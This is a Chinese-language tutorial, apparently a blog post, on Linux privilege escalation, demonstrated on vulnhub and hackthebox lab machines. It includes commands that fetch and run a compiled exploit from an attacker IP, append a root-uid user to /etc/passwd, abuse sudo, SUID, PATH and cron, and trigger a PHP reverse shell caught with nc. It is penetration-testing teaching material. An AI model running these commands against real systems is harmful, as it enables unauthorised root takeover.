Linux 提权杂记
Linux 提权杂记
0x00 前言
linux提权按类型划分可以归类为以下几种:
内核漏洞利用
root权限运行程序
组件服务
弱/重复/明文密码
配置错误
suid/Guid配置错误
滥用sudo权限
root运行但普通用户可写的脚本
PATH提权
定时任务
nfs
在演示上述漏洞之前我们需要了解
linux
权限划分和什么是提权?
0x01 什么是提权?
权限提升是利用操作系统或软件应用程序中的错误、设计缺陷或配置疏忽来获得对通常不受应用程序或用户保护的资源的提升访问权限的行为。结果是,具有比应用程序开发人员或系统管理员预期更多权限的应用程序可以执行未经授权的操作。
系统上的root
账号拥有对操作系统的完全管理级别访问权限,我们有时候渗透过程获取的linux
账号可能是普通用户权限对操作系统的操作有限。因此我们需要想法设法把自身权限提高来进行其他操作。
0x02 Linux权限划分
1.权限抽象
一个完整的权限管理体系,要有合理的抽象。这里就包括对用户、进程、文件、内存、系统调用等抽象。
至于什么是抽象?我是这么理解,可以把抽象想象成一个根据类别分化的领域。
比如用户的抽象可以想象成用户的领域,这个领域里用户会根据类别或其他特征进行分化。同时用户的领域是可以在系统的领域里面。领域不只是单独存在还可以像套娃一样的存在。
现在,我们来说一下用户和组。Linux
是一个多用户平台
,允许多个用户同时登录系统工作。Linux
将用户抽象成了账号,账号可以登录系统,比如通过登录名+密码
的方式登录,或者通过证书
的方式登录。
但是为了方便每个用户的权限,Linux
还支持组(Group)账户。组账户时多个账户的集合,组可以为成员们分配某一类权限。每个用户可以在多个组,这样就可以利用组给用户快速分配权限。
组的概念有点像微信群。一个用户可以在多个群中,用户可以在A
群获取股票
的信息,同时又在B
群获取期货
的信息。这都不会冲。如果两个群的内容都相同时,也不会对用户造成任何的冲突。
每个组管理员
可以理解为微信群群主,对自己群内的人员有一定的管理权限,root
管理员可以理解为微信开发人员对微信有完全控制的权限。
此外,Linux
还对文件进行了权限抽象(注意目录也是一种文件)。Linux
中一个文件可以设置下面3种
权限:
1.读权限(
r:Read
):控制读取文件2.写权限(
w:Write
):控制写入文件‘3.执行权限(
x:Execute
):控制将文件执行,比如脚本、应用程序如果一个脚本能正常运行那么它一定会用
执行权限和读权限
。
然后每个文件又可以从3个维度
去配置上诉的3种权限
:
1.
用户维度
。每个文件所属1个用户
,用户维度配置的rwx
在用户维度生效2.
组维度
。每个文件可以所属1个分组
,组维度配置的rwx
在组维度生效3.
全部用户维度
。设置对所有用户的权限一个文件设置为组权限就代表它可以被
主组(初始组)
内的成员进行rwx
操作,如果是附加组
需要登录后切换组
才能进行操作。
图上有两个文件权限,分别是drwxr-xr-x
和-rw-r--r--
第1
位:表示文档类型,取值常见的有:
d 表示文件夹
``- 表示文件`
1 表示软连接
s 表示套接字
p 表示管道
第
2-4
位:按照顺序(位置顺序是不会变的),分别代表:读(r)权限
写(w)权限
执行(x)权限
- 代表无权限
第
5-7
位同理第
8-10
位同理权限分配种,均是
rwx
的三个参数组合,且位置顺序不会变化,没有相对应权限就用-
代替但是每个位置的权限代表不同领域,以顺序为例:
1
代表文件类型2-4
代表文件拥有者权限5-7
代表同组用户的权限8-10
代表其他用户,即非同组、非文件所有者外的权限我们有时候使用
chmod
赋予文件777
权限,其实就是赋予rwxrwxrwx
权限,至于为什么rwx
会转成7
?Linux
每个文件都包含控制权的8
位数据。在二进制形式中,000
代表不授予任何形式权限当我们设置
r
权限时,它会向数据添加4
位,使其成为100(二进制格式)
,转成十进制为4
。设置w
权限时将在数据中添加2
位,二进制为010
,十进制为2
。最后设置x
权限时数据会添加1
位,二进制为001
,十进制为1
。简而言之:r
相当于4
w
相当于2
x
相当于1
至于为什么
r
权限会是4
呢,那就是要看linux
权限排列0:无权限
1:执行
2:写
3:写入和执行
4:阅读
5:读取和执行
6:读写
7:读、写和执行
现在我们看到指令权限分化和passwd权限分化
id
指令
uid
是用户id
gid
是组id
groups
后面是每个分组和分组的id
,第一个组是初始组
,后面是附加组
/etc/passwd文件
/etc/passwd
这个文件存储了所有用户信息,如图所示
现在我们需要了解每一个文件参数代表的意思,拿root
举例
1 | root:x:0:0:root:/root:/bin/bash |
root
代表用户名x
代表密码0
代表uid
0
代表gid
root
代表user id
信息root
代表home
目录/bin/bash
代表shell
路径现在了解了
什么是提权
和权限分化
那么可以开始提权演示了。
参考链接
https://www.maketecheasier.com/file-permissions-what-does-chmod-777-means/
0x03 内核利用
各种Linux
内核版本都存在内核级漏洞利用。一个非常著名的例子就是Dirty COW (CVE-2016-5195),俗称脏牛漏洞
。该漏洞利用内核中的漏洞以root
权限执行代码。
有些内核漏洞只需要下载
、编译
、运行
就可以完成一次攻击,甚是简单。但是有一些内核漏洞需要修改payload
没那么简单,需要微调。但是总体来说内核漏洞提权
是一个普遍存在的方式。
注意:利用内核漏洞有可能导致系统不稳定,因此在针对生产系统运行内核漏洞需要注意
演示
环境环境:ubuntu 14
在演示过程我使用内核漏洞时经常导致系统奔溃,所以在实际情况使用内核漏洞提权可称为下下策
uname -a
查询内核信息
查询到内核信息后还可以查询lsb-release
,这个lsb-release
不是所有Linux
都有的。
使用Google
或Exploit-db
查询版本内核相关漏洞
将exploits下载下来,开始编译
1 | gcc -o 37292 37292.c |
将编译的poc
上传到目标
然后赋予权限运行
1 | wget http://10.10.10.10/37292 |
0x04 root权限运行程序
root
权限运行程序这个故名思意就是以root
权限运行程序,比如mysql
、Redis
等。我这里使用mysql
作为演示,因为这个很经典。
演示
环境: vulnhub-Raven
使用ps -aux | grep mysql
搜索mysql
服务
1 | michael@Raven:~$ ps -aux | grep mysql |
当前mysql
是以root
权限运行
使用udf动态库
进行提权
将1518.c
编译成1518.so
1 | gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc |
登录mysql
服务
需要注意mysql的root跟linux的root是两回事
登录mysql
后执行下面命令
命令意思分别是:
- 选择
mysql
库 - 创建
foo
表,添加blob
行 - 加载
/tmp/1518.so
文件 - 转储文件到
/usr/lib/mysql/plugin/1518.so
- 创建
do_system
函数,调用do_system
函数运行命令
1 | use mysql; |
运行创建的命令就可以获取root
权限
1 | /tmp/stef -p |
参考链接
https://www.hackingarticles.in/hack-the-raven-walkthrough-ctf-challenge/
https://steflan-security.com/linux-privilege-escalation-exploiting-user-defined-functions/
0x05 组件服务
组件服务提权包含一些系统自带的软件和用户自行安装的软件都在其中。
我采用sudo(CVE-2021-3156)
漏洞进行演示
演示
环境:vulnhub-devguru
使用脚本获取Linux
软件版本
使用Google
或exploit-db
查询相关版本漏洞
将获取的脚本上传到目标
运行脚本
1 | python exploit_nss.py |
当然不是所有组件漏洞都可以如此完美运行,提权的过程就如同人生充满了意外。
0x06 弱/重复/明文密码
如果进入服务时,我们拥有一个或多个密码,可以先尝试这些密码能否帮助我们获取更高权限。
如果不能,那我们可以检测连接数据库的文件(config.php
或类似文件)。或者检查dockerfile
等文件脚本。
演示
环境:hackthebox-Unbalanced
使用linpeas.sh
搜索服务敏感信息
看到root
文件下的sh
,但是我们有查看的权限
查看/root/pihole_config.sh
尝试密码是否能使用
参考链接
https://y4th0ts.medium.com/unbalanced-hackthebox-c8d086b6f524
0x07 配置错误
Linux
中提权所利用的配置错误,很多时候都是利用权限配置错误。比如/etc/passwd
文件权限配置错误,给普通用户拥有对其文件写入的权限。或者普通用户拥有对/etc/shadow
文件读取权限等。
演示
环境:ubuntu 16
查看/etc/passwd
权限配置
1 | ls -la /etc/passwd |
当前用户拥有对passwd
文件的rwx
权限,直接添加用户到passwd
即可提权。
使用openssl
创建密码,有时候linux
系统禁止空密码登录,因此我们最好是创建拥有密码的用户。
1 | test@ubuntu:/tmp$ openssl passwd -1 -salt user passwd123 |
写入/etc/passwd
1 | echo "user:$1$user$TTjQ5OzFhMNL/GYeI9xq9.:0:0:root:/root:/bin/bash" >> /etc/passwd |
我们登录user
用户就会切换到root
权限
0x08 滥用sudo权限
sudo
是一个类unix
系统软件,它使用户能够以其他用户的安全权限运行程序,默认情况下是root
权限。sudo
提权在ctf
环境中也是经常出现,不过现实实际情况比较小。
演示
环境:vulnhub-devguru
sudo -l
查看sudo
是否存在滥用行为
sqlite3
无需密码即可调用root
权限
1 | sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash' |
0x09 suid/sgid 可执行文件
SUID(set user ID)
和SGID(set group ID)
是可以对可执行文件设置的两个特殊权限,这些权限允许正在执行的文件以所有者或组的权限执行。suid
和sgid
标志只对可执行二进制文件有影响,对脚本(如:bash
、python
、perl
)是没有影响。
suid
: 可执行文件的特殊文件权限。这使其用户都能够执行该文件。包括非文件所有者(组)以外的人。是s
sgid
: 这也是可执行文件的特殊权限,不同的是其他用户可以继承组所有者的有效gid
。
演示
环境:vulnhub-HaWordy
枚举可执行的二进制文件
1 | find / -perm -u=s -type f 2>/dev/null |
这么多二进制文件,如果想知道哪些是可以利用提权。这就需要google
以及经验了,或者使用一些脚本来获取可利用的二进制文件。
根据查询结果发现wget、cp
都是可以利用来提权的
查看/etc/passwd
文件信息,把文件信息都复制到kali
上
使用openssl
创建用户,加到passwd
1 | test@ubuntu:/tmp$ openssl passwd -1 -salt user passwd123 |
使用wget
远程下载password
到/etc
上
1 | wget http://10.10.10.10/passwd -O /etc/passwd |
使用user
就可以变成root
权限
0x0A root运行但普通用户可写的脚本
标题写的很明白,好像没什么可说的…
演示
环境:vulnhub-SkyDogCTF
使用命令快速搜索可写的文件
1 | find / -writable -user root -type f 2>/dev/null >>/tmp/find |
/lib/log/sanitizer.py
属于root
权限,但是普通用户可写。至于其他权限还需要去查看
1 | wernerbrandes@skydogctf:/tmp$ ls -la /lib/log/sanitizer.py |
我们拥有sanitizer.py
的rwx
权限,现在要利用sanitizer.py
进行提权
1 |
|
运行脚本
0x0B PATH提权
路径提权
是一个经典的提权方式,在各种ctf
环境你会经常遇到这种类型的提权。
演示
环境:vulnhub-nullbyte
寻找可利用的二进制文件
1 | find / -perm -u=s -type f 2>/dev/null |
/var/www/backup/procwatch
比较像是备份使用的文件,运行看下
1 | ramses@NullByte:~$ /var/www/backup/procwatch |
只是执行ps
命令,没事。使用$PATH
可以获取procwatch
脚本的权限
1 | echo "/bin/sh" > ps |
重新执行/var/www/backup/procwatch
0x0C 定时任务
Linux
定时任务称为crontab
,用来以固定时间、日期或间隔定时运行任务。
演示
环境:vulnhub-sar
查看定时任务
1 | cat /etc/crontab |
finally.sh
会每隔5
分钟运行一次
现在我们查看一下finally.sh
脚本内容
1 | $cat /var/www/html/./finally.sh |
finally.sh
调用write.sh
,有点像套娃
查看write.sh
1 | $cat write.sh |
创建一个gateway
文件就结束了
查看两个脚本的权限
finally.sh
我们无法修改,但是write.sh
可以修改
1 | echo "php ./php-reverse-shell.php" > write.sh |
这时候kali
开启nc
等待5分钟
就可以获取shell
0x0D nfs
网络文件共享(NFS)
是一种协议,允许他人通过网络与其他linux
客户端共享文件,同时还需要其他人对文件进行权限修改。
演示
环境:vulnhub-0rcus
查看端口开放
1 | netstat -tunlp |
目标开放了很多端口,其中就包括nfs
使用的2049
端口
创建test.c
1 | int main(void){ |
上传test.c
到目标,然后使用gcc
在目标服务器上编译
在kali
上挂载nfs
,如果没安装nfs-common
是无法挂载
1 | mount -t nfs 10.10.10.10:/tmp /tmp |
回到目标服务器
1 | cd /tmp |
0xE 工具
利用工具进行辅助提权,会让我们干活事半功倍。但是如果仔细介绍工具感觉又可以水一篇文章,所以我会简单的一句话概况。
1.LinPEAS
linpeas
是一个不错寻找敏感(password
)信息的提权脚本
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
2.LinEnum
LinEnum
会服务器内基本提权需要的信息都会枚举出来
https://github.com/rebootuser/LinEnum
3.linux-exploit-suggester
linux-exploit-suggester
根据软件版本进行cve
漏洞判断,就像一些厂商扫描器判断漏洞那样子。你懂得~
0x0F 结言
上面的提权演示由相当一部分是属于重复类型。比如root
权限运行的mysql
就属于组件服务
和root权限运行程序
的提权方式。不过没关系,上面这些演示是为了更了解linux
提权方式。
推荐一下vulnhub
靶机提权练习,如果想自己练习提权可以点击链接自己寻找。